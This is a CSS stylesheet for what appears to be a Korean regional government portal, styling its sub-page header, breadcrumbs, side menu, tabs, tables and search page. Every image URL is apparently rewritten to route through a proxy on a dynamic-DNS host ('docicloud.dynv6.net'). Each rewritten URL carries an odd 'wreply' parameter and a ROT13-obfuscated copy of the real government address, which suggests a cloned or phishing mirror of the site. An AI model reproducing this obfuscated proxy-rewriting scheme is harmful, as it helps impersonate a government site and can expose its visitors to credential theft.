@charset "utf-8";

.boGalleryView .slick-dots li + li { margin-left: 8px; }
.boGalleryView .slick-dots button { background: rgb(254, 241, 93); }
#sub-visual { position: relative; z-index: 21; }
#sub-visual .visual-bg { width: 1920px; top: 42px; bottom: 0px; object-fit: cover; position: absolute; left: 50%; margin-left: -960px; z-index: -1; }
#sub-visual .inner {padding-left: 395px;display: flex;justify-content: space-between;align-items: flex-end;height: 369px;padding-bottom: 65px;}
.title-bx h2 { color: rgb(36, 43, 69); line-height: 1.1; font-size: 30px; font-weight: 700; }
#breadcrumb-bx { display: flex; align-items: center; margin-top: 7px; margin-left: -3px; margin-bottom: -21px; }
#breadcrumb-bx a:hover{text-decoration: underline;}
#breadcrumb-bx .home {width: 22px; height: 22px; background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngr.tjq.tb.xe%2Scntr%2Stjcebiva%2Svzntrf%2Sfho%2Sfho_vpba.cat") -7px -7px / 142px 178px no-repeat; font-size: 0px; color: transparent; transition: all 0.1s ease 0s;}
#breadcrumb-bx .home:hover { transform: scale(1.1); }
#breadcrumb-bx .open { color: rgb(36, 43, 69); font-size: 14px; padding: 0px 5px; margin-left: 7px; position: relative; transition: all 0.1s ease 0s; }
#breadcrumb-bx .open::after { content: ""; display: block; width: 5px; height: 5px; border-style: solid; border-color: rgb(36, 43, 69); border-image: initial; border-width: 1px 1px 0px 0px; position: absolute; top: 50%; margin-top: -2.5px; left: -7px; transform: rotate(45deg); }
#breadcrumb-bx .open:hover { font-weight: 700; }
#sub-visual .sns-bx { display: flex; }
#sub-visual .sns-bx .print { font-size: 0px; width: 36px; height: 36px; background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngr.tjq.tb.xe%2Scntr%2Spbzzba%2Svzntrf%2Sfc_qd.cat") -362px -2px / 520px 1500px no-repeat; margin-left: 10px; }
#sub-visual .sns-bx .open { font-size: 0px; width: 36px; height: 36px; background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngr.tjq.tb.xe%2Scntr%2Spbzzba%2Svzntrf%2Sfc_qd.cat") -322px -2px / 520px 1500px no-repeat; display: block; }
#sub-visual .sns-bx .print:hover, #sub-visual .sns-bx .open:hover { background-position-y: -42px;}
#sub-visual .sns-bx .print:active, #sub-visual .sns-bx .open:active { transform: scale(0.95);}
#sub-visual .sns-bx .share { position: relative; }
#sub-visual .sns-bx .view { position: absolute; background: rgb(255, 255, 255); top: -1px; bottom: -1px; border-radius: 18px; display: none; white-space: nowrap; right: -1px; }
#sub-visual .sns-bx .view a { width: 45px; position: relative; font-size: 0px; color: transparent; display: flex; align-items: center; justify-content: center; }
#sub-visual .sns-bx .view a::after { content: ""; background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngr.tjq.tb.xe%2Scntr%2Stjcebiva%2Svzntrf%2Sfho%2Sfho_vpba.cat%3Sire%3Q20250311") -25px -5px / 142px 178px no-repeat; width: 30px; height: 28px; }
#sub-visual .sns-bx .view a.twitter::after { background-position-x: -52px; }
#sub-visual .sns-bx .view a.link::after { background-position-x: -82px; }
#sub-visual .sns-bx .view a.close::after { background-position: -111px -4px; }
#sub-visual .sns-bx .view a:not(:first-child)::before { content: ""; display: block; top: 9px; bottom: 10px; position: absolute; left: 0px; border-left: 1px dotted rgb(168, 172, 178); }
@media (min-width: 1399px) {
  #breadcrumb-bx .box ul { display: none !important;}
}
@media (max-width: 1399px) {
  #sub-visual .visual-bg { width: 1400px; margin-left: -700px; bottom: 20px; top: auto; }
  #sub-visual .inner { padding-left: 20px; height: 272px; padding-bottom: 20px; align-items: center; padding-top: 89px; }
  .title-bx h2 { color: rgb(36, 43, 69); line-height: 1.1; font-size: 26px; font-weight: 700; }
  #breadcrumb-bx { margin: 0px; position: absolute; bottom: 0px; left: 20px; right: 20px; }
  #breadcrumb-bx .home { display: none; }
  #breadcrumb-bx .box {display: flex; position: relative; transition: width 0.2s ease-out 0s; width: 33.333%; }
  #breadcrumb-bx .box a em{overflow: hidden; text-overflow: ellipsis; white-space: nowrap;}
  #breadcrumb-bx.active .box{width:15%;}
  #breadcrumb-bx.active .box.active{width:70%;}
  #breadcrumb-bx .open { color: rgb(255, 255, 255); font-size: 14px; padding: 0px 15px; margin-left: 0px; height: 40px; background: rgb(0, 137, 147); width: 100%; align-items: center; display: flex; justify-content: space-between; z-index: 5; font-weight: 300; }
  #breadcrumb-bx .open:hover { font-weight: 400; }
  #breadcrumb-bx .box:first-of-type .open { background: rgb(0, 168, 133); border-radius: 5px 0px 0px 5px; }
  #breadcrumb-bx .box:last-of-type .open { background: rgb(0, 159, 163); border-radius: 0px 5px 5px 0px; }
  #breadcrumb-bx .open::after { border-color: rgb(255, 255, 255); position: relative; top: auto; margin-top: 0px; left: auto; transform: rotate(135deg); transition: all 0.2s ease 0s; }
  #breadcrumb-bx .open.active::after { transform: rotate(-45deg); margin-top: 2px; }
  #breadcrumb-bx .open .text { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; max-width: calc(100% - 10px); }
  #breadcrumb-bx .box ul a img{filter:invert(1) brightness(200);margin-left:8px;}
  #breadcrumb-bx .box ul { position: absolute; top: 30px; left: 0px; right: 0px; background: rgb(0, 137, 147); padding: 10px 0px 5px; display: none; }
  #breadcrumb-bx .box:first-of-type ul { background: rgb(0, 168, 133); }
  #breadcrumb-bx .box:last-of-type ul { background: rgb(0, 159, 163); }
  #breadcrumb-bx .box ul a { display: flex; font-size: 13.5px; align-items: center; height: 36px; padding: 0px 10px 0px 15px; color: rgb(255, 255, 255); white-space: normal; word-break: keep-all; font-weight: 300; }
  #sub-visual .sns-bx { display: flex; transform: scale(0.9); transform-origin: 100% 50%; }
  #sub-visual .sns-bx .print { display: none; }
  .skinTb-wrapper{overflow-x:auto !important;}
}

@media (max-width: 991px) {
  .skinTb-wrapper{overflow-x:auto !important;}
}
@media (max-width: 716px) {
  .infomation-bx::before{right: -113px;}
  .infomation-bx p{padding-right: 9px;}
  #sub-visual .visual-bg { width: 1100px; margin-left: -550px; }
  #sub-visual .inner { padding-left: 15px; height: 238px; padding-top: 95px; }
  .title-bx h2 { font-size: 23px; }
  #breadcrumb-bx { bottom: 0px; left: 15px; right: 15px; justify-content: flex-end; }
  #breadcrumb-bx .open { padding: 0px 9px 0px 12px; }
  #breadcrumb-bx .open.active::after { transform: rotate(-45deg); }
  #breadcrumb-bx .box ul a { font-size: 13px; padding: 0px 5px 0px 12px; height: 34px; }
  #sub-visual .sns-bx { transform: scale(0.8); }
  .skinTb-wrapper{overflow-x:auto !important;}
}
#content { position: relative; display: flex; }
#content-bx { flex: 1 1 0%; padding: 40px 0px 50px; }
#side-menu {width: 307px;margin-right: 69px;z-index: 100;margin-top: -148px;padding-bottom: 40px;}
#side-menu h2 { width: 307px; height: 159px; background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngr.tjq.tb.xe%2Scntr%2Stjcebiva%2Svzntrf%2Sfho%2Syrsgzrah_ot.cat") center center / cover no-repeat; font-weight: 700; padding-bottom: 20px; display: flex; align-items: center; justify-content: center; color: rgb(255, 255, 255); font-size: 30px; letter-spacing: -2px; }
#side-menu .depth-02 { margin-top: 15px; }
#side-menu .depth-02 > li { margin-bottom: 5px; }
#side-menu h3 a { display: flex; width: 100%;line-height: 1.2;word-break: keep-all;align-items: center; justify-content: space-between; height: 48px; padding: 0px 15px 0px 20px; border-radius: 10px; border: 1px solid rgb(197, 201, 213); transition: all 0.2s ease 0s; }
#side-menu h3.has-depth a::after { content: ""; width: 6px; height: 6px; border-style: solid; border-color: rgb(124, 126, 151); border-image: initial; border-width: 1px 1px 0px 0px; transform: rotate(135deg); transition: all 0.2s ease 0s; margin-top: -3px; }
#side-menu h3.has-depth.active a::after { transform: rotate(-45deg); margin-top: 2px; border-color: rgb(255, 255, 255); }
#side-menu h3.active a { color: rgb(255, 255, 255); background: rgb(0, 158, 168); border-color: rgb(0, 158, 168); }
#side-menu h3 a:hover { font-weight: 700; }
#side-menu .depth-03 { padding: 23px 5px 12px 20px; border-style: solid; border-color: rgb(0, 158, 168); border-image: initial; border-width: 0px 1px 1px; margin-top: -10px; border-radius: 0px 0px 10px 10px; display: none; }
#side-menu h4 a { height: 30px; display: flex; align-items: center; color: rgb(112, 112, 112); transition: all 0.1s ease 0s; font-size: 15px; }
#side-menu h4.active a,
#side-menu h4 a:hover { color: rgb(0, 158, 168); }
#side-menu h4 a::before { content: ""; transition: all 0.1s ease 0s; width: 4px; height: 4px; border-radius: 50%; background: rgb(198, 202, 214); margin-right: 7px; }
#side-menu h4.active a::before,
#side-menu h4 a:hover::before { background: rgb(0, 158, 168); }
#side-menu h3 a span { display: flex; align-items: center; }
#side-menu h4 a span { display: flex; align-items: center; }
#side-menu h4 a[target="_blank"] span::after, #side-menu h3 a[target="_blank"] span::after { content: ""; margin-left: 5px; background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngr.tjq.tb.xe%2Scntr%2Stjcebiva%2Svzntrf%2Spbzzba%2Sfc_tjcebiva.cat") -577px -115px / 674px 600px no-repeat; width: 16px; height: 16px; }
@media (max-width: 1399px) {
  #content { display: block; }
  #side-menu { display: none; }
  #content-bx { padding: 30px 0px 40px; }
}
@media (max-width: 716px) {
  #content-bx { padding: 28px 0px 30px; }
}
.img-zoom-modal{background: transparent;}
#sub .pageTab { display: flex; flex-wrap: wrap;}
#sub .pageTab > li { border-radius: 10px; background: rgb(234, 235, 238); border: 0px; width: calc((100% - 15px) / 4); margin-right: 5px; padding: 0px 20px; display: flex; align-items: center; justify-content: space-between; }
#sub .pageTab > li:nth-child(4n) { margin-right: 0px; }
#sub .pageTab > li:nth-child(n+5) { margin-top: 5px; }
#sub .pageTab > li > a { height: auto; color: rgb(49, 49, 49); word-break: keep-all; flex: 1 1 0%; padding: 5px 15px; min-height: 50px; }
#sub .pageTab > li.active { background: rgb(36, 43, 69); }
#sub .pageTab > li.active > a { color: rgb(255, 255, 255); }
#sub .pageTab > li::after { content: ""; width: 12px; height: 2px; background: rgb(180, 183, 198); }
#sub .pageTab > li.active::after { width: 6px; height: 6px; background: transparent; border-style: solid; border-color: rgb(255, 255, 255); border-image: initial; border-width: 2px 2px 0px 0px; transform: rotate(135deg); }
#sub .pageTab-sub { color: rgb(49, 49, 49); border-color: rgb(214, 214, 214); background: rgb(252, 252, 252); padding: 0px 15px; left: 0px; right: 0px; border-radius: 5px; display: flex; flex-wrap: wrap; }
#sub .pageTab-sub li { border-bottom: 1px dashed rgb(190, 190, 190); padding: 0px 15px; display: flex; justify-content: space-around; align-items: center; position: relative; }
#sub .pageTab-sub li a { font-size: 15px; height: auto; line-height: 1.2; padding: 5px; flex: 1 1 0%; min-height: 46px; }
#sub .pageTab-sub li.active a { color: rgb(17, 74, 176); background: transparent; }
#sub .pageTab-sub li.active::before { content: ""; background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngr.tjq.tb.xe%2Scntr%2Stjcebiva%2Svzntrf%2Sfho%2Sfho_vpba.cat") -79px -150px / 142px 178px no-repeat; width: 20px; height: 20px; border-radius: 50%; position: absolute; left: 0px; top: 50%; margin-top: -8px; }
@media (max-width: 1199px) {
  #sub .pageTab > li { padding: 0px 10px; border-radius: 5px; width: calc((100% - 10px) / 3) !important; }
  #sub .pageTab > li:nth-child(4n) { margin-right: 5px; }
  #sub .pageTab > li:nth-child(3n) { margin-right: 0px; }
  #sub .pageTab > li:nth-child(n+4) { margin-top: 5px; }
  #sub .pageTab > li a { font-size: 14px; padding: 5px; min-height: 46px; }
  #sub .pageTab-sub li a { font-size: 14px; min-height: 42px; }
}
@media (max-width: 716px) {
  #sub .pageTab.has { height: 88px !important; }
  #sub .pageTab { padding-top: 42px; }
  #sub .pageTab > li { display: none; border-radius: 0px; margin: 0px; width: 100% !important; }
  #sub .pageTab > li.active { display: flex; border-radius: 5px; }
  #sub .pageTab.on > li { display: flex; }
  #sub .pageTab > li:nth-child(n+4) { margin: 0px; }
  #sub .pageTab > li a { font-size: 14px; height: 42px; padding: 0px 15px 0px 0px; justify-content: flex-start; text-align: left; min-height: initial !important; }
  #sub .pageTab > li::after { display: none; }
  #sub .pageTab-sub { top: 47px; }
  #sub .pageTab-sub { padding: 38px 0px 0px; }
  #sub .pageTab-sub li { border-top: 0px; display: none; border-radius: 5px; }
  #sub .pageTab-sub li.active { position: absolute; border-bottom-width: 0px; }
  #sub .pageTab-sub.on li.active { border-bottom: 1px dashed rgb(190, 190, 190); }
  #sub .pageTab > li.active > a::after { width: 5px; height: 5px; margin-top: -4px; }
  #sub .pageTab-sub li.active > a::after { border-color: rgb(17, 74, 176); width: 5px; height: 5px; margin-top: -4px; }
  #sub .pageTab-sub li.active::before { display: none; }
  #sub .pageTab-sub li a { background: rgb(255, 255, 255); }
  #sub .pageTab-sub > li.active, #sub .pageTab-sub.on > li { display: flex; }
  #sub .pageTab-sub li:last-child { border-bottom: 0px; }
  #sub .pageTab-sub > li a { height: 36px; font-size: 13.5px !important; }
}
#sub .titLv { color: rgb(17, 74, 176); font-weight: 700; padding-top: 5px;margin-bottom:1.5rem}
#sub .titLv:not(:first-child){margin-top:3.5rem}
#sub .titLv2 {display: flex;padding-left: 0px;margin-bottom: 5px;font-weight:600;}
#sub .titLv2::before { position: relative; margin-right: 6px; background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngr.tjq.tb.xe%2Scntr%2Stjcebiva%2Svzntrf%2Sfho%2Sfho_vpba.cat") -9px -44px / 142px 178px no-repeat; width: 18px; height: 19px; flex-shrink: 0; left: auto; }
#sub .titLv3 + .pgraph { padding-left: 0px; }
#sub .titLv3 { font-weight: 400; padding-left: 0px; display: flex; margin-bottom: 5px;}
#sub .titLv3.v2{display: block; padding-left: 15px;}
#sub .titLv3.v2::before{left: -15px; top: 20px; }
#sub .titLv3::before { position: relative; margin-right: 6px; background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngr.tjq.tb.xe%2Scntr%2Stjcebiva%2Svzntrf%2Sfho%2Sfho_vpba.cat") -12px -83px / 142px 178px no-repeat; width: 12px; height: 12px; flex-shrink: 0; left: auto; top: 8px; }
#sub .listLv { font-weight: 400; margin-left: 0px; }
#sub p.listLv, #sub div.listLv, #sub span.listLv, #sub .listLv > li, #sub .listLv > dt, #sub .listLv > dd { padding-left: 15px; padding-top: 0.8rem; }
#sub p.listLv::before, #sub div.listLv::before, #sub span.listLv::before, #sub .listLv > li::before, #sub .listLv > dt::before { background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngr.tjq.tb.xe%2Scntr%2Stjcebiva%2Svzntrf%2Sfho%2Sfho_vpba.cat") -13px -120px / 142px 178px no-repeat; width: 10px; height: 8px; border: 0px; left: 2px; transform: rotate(0deg); top: 16px; }
#sub p.listLv2, #sub div.listLv2, #sub span.listLv2, #sub .listLv2 > li, #sub .listLv2 > dt, #sub .listLv2 > dd { padding-left: 15px; margin-bottom: 5px; font-size: 1.6rem; }
#sub p.listLv2::before, #sub div.listLv2::before, #sub span.listLv2::before, #sub .listLv2 > li::before, #sub .listLv2 > dt::before { top: 11px; background: rgb(0, 158, 168); left: 2px; }
#sub p.listLv3, #sub div.listLv3, #sub span.listLv3, #sub .listLv3 > li, #sub .listLv3 > dt { margin-bottom: 5px; padding-left: 15px; }
#sub p.listLv3::before, #sub div.listLv3::before, #sub span.listLv3::before, #sub .listLv3 > li::before, #sub .listLv3 > dt::before { top: 11px; left: 2px; background: rgb(0, 82, 155); }
#sub .listLv4 { padding-left: 0px; }
#sub p.listLv4, #sub div.listLv4, #sub span.listLv4, #sub .listLv4 > li, #sub .listLv4 > dt { margin-bottom: 5px; padding-left: 15px; }
#sub p.listLv4::before, #sub div.listLv4::before, #sub span.listLv4::before, #sub .listLv4 > li::before, #sub .listLv4 > dt::before { top: 10px; left: 3px; width: 3px; height: 3px; background: rgb(0, 82, 155); }
#sub .listLv > li > .listLv2, #sub .listLv2 > li > .listLv3, #sub .listLv3 > li > .listLv4 { margin-top: 10px; }
#sub .imptBox { border: 0px; background: rgb(236, 236, 236); }
#sub .imptBox.v2{ border: 1px solid rgb(0, 168, 133);; border-radius: 10px; background: #fff; }
#sub .caution {display: flex; font-weight: 400; font-size: 15px; color: rgb(234, 53, 65); margin: 5px 0px;word-break:keep-all;}
#sub .caution::before { content: "";background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngr.tjq.tb.xe%2Scntr%2Stjcebiva%2Svzntrf%2Sfho%2Sfho_vpba.cat") -8px -150px / 142px 178px no-repeat; width: 20px; height: 20px; margin: 2px 5px 0px 0px; min-width: 20px;}
#sub .caution.v2 {color: rgb(77, 115, 185);}
#sub .caution.v2::before {background-position-x: -43px;}
#sub .caution.v3 {color: rgb(77, 115, 185); flex-wrap: wrap;}
#sub .caution.v3::before {background-position-x: -43px;}
#sub .caution.v4 {color: #313131; flex-wrap: wrap;}
#sub .caution.v4::before {background-position-x: -43px;filter: grayscale(1);}
#sub .caution.inline { display: inline-block; margin: 0px 7px 0px 0px; }
#sub .contsBtn {border: 1px solid rgb(36, 43, 69); color: rgb(69, 69, 69); font-weight: 400; }
#sub .skinBtnBo::before, #sub .contsBtn::before { background: rgb(36, 43, 69); }
#sub .skinBtnBo.v2{ border: 1px solid rgb(36, 43, 69); color: rgb(69, 69, 69); font-weight: 400; margin: 0 5px; height: 28px; line-height: 28px;padding: 0 18px 0 10px;}
#sub .skinBtnBo.v2:nth-of-type(2){margin: 0;}
.contsBtn > a.contsBtn-more:after{background-position: -817px -1220px; width: 14px; height: 14px; right: 5px; background-size: auto;}
.contsBtn:hover > a.contsBtn-more:after{background-position: -817px -1244px;}
.contsBtn > a.contsBtn-sound:after{background-position: -851px -1221px; width: 17px; height: 12px; margin-top: -6px; right: 5px; background-size: auto; }
.contsBtn:hover > a.contsBtn-sound:after{background-position: -851px -1245px;}
#sub .skinBtnBo.v2 > span{padding: 0 10px 0 0; font-size: 13px;}
#sub .contsBtn:hover, #sub .skinBtnBo:hover, #sub .boSrchArea input[type="submit"], #sub .skinBtnBo.ctrlFile-btnFile { color: rgb(255, 255, 255); }
#sub .skinTb::before { border-color: rgb(36, 43, 69); }
#sub .skinTb { font-size: 1.6rem; }
#sub .skinTb-th, #sub .skinTb > tr > th, #sub .skinTb > thead > tr > th, #sub .skinTb > tbody > tr > th, #sub .skinTb > tfoot > tr > th { font-weight: 700; background-color:#f7f7f7; color: #313131; }
#sub .skinTb > thead > tr > th { border-bottom-color: rgb(36, 43, 69); }
#sub .skinIptTxt, #sub .skinSelectBox, #sub .boSrchArea .boMeta, #sub .skinTb > tr > td, #sub .skinTb > thead > tr > td, #sub .skinTb > tbody > tr > td, #sub .skinTb > tfoot > tr > td, #sub .skinTb-td { font-weight: 400;}

#sub .skinTb-sbj { font-weight: 500 !important; }

#sub .skinTb-wrapper,
#sub .titLv3 + .titLv3{margin-top:1.2rem;}
#sub .titLv3 + .titLv2,
#sub .titLv2 + .titLv2,
#sub .skinTb-wrapper + .titLv2,
#sub .skinTb-wrapper + .titLv3, 
#sub .titLv2 + .imptBox,
#sub .titLv2 + .skinTb-wrapper{margin-top:2rem;}
#sub .titLv + .titLv2,
#sub .titLv + .skinTb-wrapper,
#sub .listLv + .titLv2, 
#sub .listLv2 + .titLv2, 
#sub .listLv3 + .titLv2,
#sub .skinTb-wrapper + .titLv, 
#sub .listLv4 + .titLv2{margin-top: 2.3rem;}
#sub .skinTb .listLv2, #sub .skinTb .listLv3, #sub .skinTb .listLv4 {margin:10px 0 10px 10px;}
.skinTb >tfoot >tr >th{border-bottom-color: #d8d8d8;}

@media (max-width: 1199px) {
  html { font-size: 9.2px; }
  #sub p.listLv::before, #sub div.listLv::before, #sub span.listLv::before, #sub .listLv > li::before, #sub .listLv > dt::before { top: 14px; }
  #sub p.listLv2::before, #sub div.listLv2::before, #sub span.listLv2::before, #sub .listLv2 > li::before, #sub .listLv2 > dt::before { top: 9px; left: 0px; }
  #sub p.listLv3::before, #sub div.listLv3::before, #sub span.listLv3::before, #sub .listLv3 > li::before, #sub .listLv3 > dt::before { left: 0px; }
  #sub p.listLv4::before, #sub div.listLv4::before, #sub span.listLv4::before, #sub .listLv4 > li::before, #sub .listLv4 > dt::before { left: 0px; }
  #sub p.listLv2, #sub div.listLv2, #sub span.listLv2, #sub .listLv2 > li, #sub .listLv2 > dt, #sub .listLv2 > dd, #sub p.listLv3, #sub div.listLv3, #sub span.listLv3, #sub .listLv3 > li, #sub .listLv3 > dt, #sub p.listLv4, #sub div.listLv4, #sub span.listLv4, #sub .listLv4 > li, #sub .listLv4 > dt { padding-left: 10px; font-size: 1.6rem; }


  #sub .titLv2 {font-weight:500;}
  #sub .titLv3 {font-weight: 500;}
  #sub .skinBtnBo.v2{padding: 0 12px 0 5px; margin: 0 3px;}
  .contsBtn > a.contsBtn-more:after{right: 2px;}
  .contsBtn > a.contsBtn-sound:after{right: 0;}
  #sub .skinBtnBo.v2 > span{padding: 0 7px 0 0;}
}
@media (max-width: 716px) {
  .skinTb-data-resList >tbody >tr >.skinTb-date + .skinTb-date{justify-content: flex-start;}
  .skinTb-data-resList >tbody >tr >td{align-items: inherit !important;}
  .skinSelectBox{padding: 10px 0 7px 10px}
  .col2 {width: 22.66666666666667%;}
  .skinTb-data-resList >tbody >tr{align-items: flex-end;}
  html { font-size: 8.6px; }
  #sub .skinTb::before { border-top-width: 2px; }
  .infomation-bx .titLv2{font-size: 1.6rem;}
  .infomation-bx .titLv2:before{top: 0;}
  .infomation-bx ul{font-size: 1.5rem;}
  #sub .titLv {margin-bottom: 1.5rem;}
  #sub .titLv3{font-size: 1.5rem;}
  #sub .titLv3::before { top: 5px; margin-right: 5px; }
  #sub .listLv{font-size: 1.4rem;}
  #sub .listLv2, #sub .listLv3, #sub .listLv4 { margin-left: -10px; }
  #sub .listLv > li > .listLv2, #sub .listLv2 > li > .listLv3, #sub .listLv3 > li > .listLv4 { margin-top: 5px; }
  #sub p.listLv::before, #sub div.listLv::before, #sub span.listLv::before, #sub .listLv > li::before, #sub .listLv > dt::before { top: 12px; }
  #sub .caution { font-size: 1.2rem; }
  #sub .caution::before { margin: 0 1px 0px 0px; transform: scale(0.9); transform-origin: 0% 50%; }
  #sub .pgraph {padding-top: 5px;}
  #sub .imptBox { margin: 0px -15px;  padding-left: 29px;}
  #sub .skinIptTxt, #sub .skinSelectBox, #sub .boSrchArea .boMeta, #sub .skinTb > tr > td, #sub .skinTb > thead > tr > td, #sub .skinTb > tbody > tr > td, #sub .skinTb > tfoot > tr > td, #sub .skinTb-td { font-weight: 400; font-size: 1.4rem; align-items: inherit;}
  #sub .skinBtnBo.v2{padding: 0 9px 0 5px; margin: 5px 1px;}
  #sub .skinBtnBo.v2 > span{font-size: 12px;}
  .contsBtn > a.contsBtn-more:after{right: 0;}
  #sub .attachFile{display: flex; flex-direction: column; width: 100%;}
}




/* 통합검색 */

#total-search{position: relative; margin-top: 120px;}
#search-box {position: relative; padding: 38px 0 8px 30px; max-width: 1100px; margin: 0 auto;}
#search-box::before{content: ''; display: block; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngr.tjq.tb.xe%2Scntr%2Stjcebiva%2Svzntrf%2Sfho%2Stnatjba_ot.cat);
position: absolute; left: 50%; top: 0; bottom: 0; width:1920px; height: 130px; margin-left: -960px; z-index: -1;}
#search-box .bx-1{width: 154px; margin-right: 15px; border-radius: 30px; background: #fff; padding: 0 30px;}
#search-box select {display: block; width: 100%;  line-height: 54px; height: 54px; font-size: 16px; background: transparent; color: #313131;}
#search-box .bx{float: left;  position: relative;  border: 1px solid #b5b5b5; }
#search-box .bx-2{background: #fff; width: calc(100% - 178px); border-radius: 30px; padding: 0 72px 0 35px;}
#search-box input[type="search"] {display: block; line-height: 54px; width: 96%; height: 54px; background: transparent; font-size: 16px; color: #000;}
#search-box input[type="submit"] {display: block; width: 30px; height: 27px; position: absolute; top: 13px; right: 30px; color: transparent; font-size: 0; 
background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngr.tjq.tb.xe%2Scntr%2Stjcebiva%2Svzntrf%2Sfho%2Sfrnepu.cat); image-rendering: -webkit-optimize-contrast;}
#search-box input::placeholder{color: #000;} 
#total-search .popular{ padding: 35px 0 32px;}
#total-search .popular dl{display: flex; justify-content: center;}
#total-search .popular dl dt{display: block; white-space: nowrap; position: relative; vertical-align: top; padding-right: 20px; height: 20px; line-height: 20px; color: #454545; font-weight: 300;}
#total-search .popular dl dt::after{content: ''; width: 1px; height: 16px; background: #686868; position: absolute; top: 50%; margin-top: -7px; right: 4px;}  
#total-search .popular a{ display: inline-block; vertical-align: top; height: 20px; line-height: 20px; margin-left: 13px; color: #454545; font-weight: 300;
text-decoration: none;}  
#total-search .popular em{display: inline-block; vertical-align: top; width: 20px; height: 20px; line-height: 16px; background: #4d5360; color: #fff;
font-weight: 400; text-align: center; transition: all .1s; margin-right: 9px; padding-top: 1px; border: 1px solid #515151;}   
#total-search .popular a:hover em{background: #008368;}
#total-search .period {position: relative; background: #f4f5f9; border: 1px solid #d6d6d6; padding: 30px 67px;}
#total-search .period strong {display: inline-block; vertical-align: top; height: 34px; line-height: 36px; color: #454545; font-size: 16px; font-weight: 500; padding-right: 10px;}
#total-search .period .range{padding-left: 60px;}
#total-search .period .area{padding-left: 60px;}
#total-search .period a{display: inline-block;  vertical-align: top; width: 70px; height: 34px; line-height: 34px; text-align: center;
color: #313131; background: #fff; font-size: 14px;  font-weight: 400; margin-left: -5px; text-decoration: none;}
#total-search .period a.active{background: #4d5360; color: #fff;}
#total-search .period a:hover{background: #4d5360; color: #fff; transition: all 0.5s;}
#total-search .period .whole{border-radius: 5px 0 0 5px;}
#total-search .period .year{border-radius: 0 5px 5px 0;}
#total-search .period .bx-1{float: left;}
#total-search .period .bx-1 > div {display: inline-block; vertical-align: top;}
#total-search .period .bx-2 {float: right; padding-top: 1px;}
#total-search .period .bx:nth-child(2n) > div {display: inline-block; vertical-align: top; margin-top: 15px;}
#total-search .period input[type="text"] {width: 116px; height: 34px; line-height: 34px; padding-left: 10px; margin-left: 10px; border: 1px solid #c2c2c2;}  
#total-search .period .data_end{position: relative; padding-left: 52px; padding-right: 6px;}
#total-search .period .data_end::after{content: ''; width: 6px; height: 2px; background: #5c5c5d; position: absolute; left: 20px; top: 50%;}
#total-search .period label{display: inline-block; vertical-align: top; font-weight: 500; height: 33px; line-height: 33px;}  
#total-search .period .data_start button img,
#total-search .period .data_end button img{display: none;}  
#total-search .period input[type="submit"]{width: 77px; height: 34px; line-height: 34px; margin-top: 15px; text-align: center; background: #4d5360; color: #fff;} 
.ui-datepicker-trigger {margin-left: 7px;width: 15px;height: 14px;/*  background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngr.tjq.tb.xe%2Scntr%2Stjcebiva%2Svzntrf%2Sfho%2Spnyraqne.cat); */ -webkit-background-size: cover;background-size: cover;vertical-align: middle;}
#total-search .result h4{padding: 35px 0 35px; text-align: center; font-size: 22px;}
#total-search .result span{color: #008368;}
#total-search .result strong{color: #008368; text-decoration:underline; text-underline-position: under;}
#total-search .result .total{position: relative; background:#f4f5f9; border: 1px solid #d6d6d6; padding: 28px 45px 38px 77px;}
#total-search .result .total li{display: inline-block; position: relative; width: calc((100% - 15px) / 5); margin-top: 12px; padding-left: 16px;}
#total-search .result .total li::after{content: ''; display: block; width: 8px; height: 8px; border: 1px dotted #313131; border-width: 0px 0px 1px 1px;
position: absolute; top: 5px; left: 0;}
#total-search .total li.active a{font-weight: 700;}  
#total-search .result h4.none{text-align: left; font-size: 18px; font-weight: 500; padding:60px 0 5px 20px;}
#total-search .result .no_result{padding-left: 30px;}
#total-search .result .no_result li{position: relative; word-break: keep-all;}
#total-search .result .no_result li::before{content: ''; width: 4px; height: 1px; position: absolute; left: -6px; top: 9px; background: #4d5360;}
#total-search .result .item{position: relative; margin-top: 60px;}
#total-search .result .item h5{height: 60px; line-height: 60px; padding-left: 25px; margin-bottom: 30px; background: #f4f5f9; border: 1px solid #d6d6d6; font-size: 18px; font-weight: 700;}
#total-search .result .item .more{position: absolute; top: 20px; right: 20px; text-decoration: none; color: #454545;}
#total-search .result .item .more:hover{font-weight: 700;}
#total-search .result .item ul li:first-child > div{padding-top: 0;}
#total-search .result .item ul li > div{position: relative; padding: 24px 25px 24px 29px; border-bottom: 1px dashed #cbcbcb;}
#total-search .result .item ul li > div p{text-overflow: ellipsis;-webkit-line-clamp: 2; -webkit-box-orient: vertical; display: -webkit-box; overflow: hidden;}
#total-search .result .item ul li > div .news_txt p{-webkit-line-clamp: 4;}
#total-search .result .item ul li .news_wrap{display: flex;}
#total-search .result .item ul li > div img{display: block; width: 550px; height: 160px; margin-right: 15px;}
#total-search .result .item ul li .news_txt{padding-left: 27px;}
#total-search .result .item ul li a > em{display: inline-block; color: #096bc9; padding-bottom: 5px;}
#total-search .result .item ul li a:hover{text-decoration: none;}
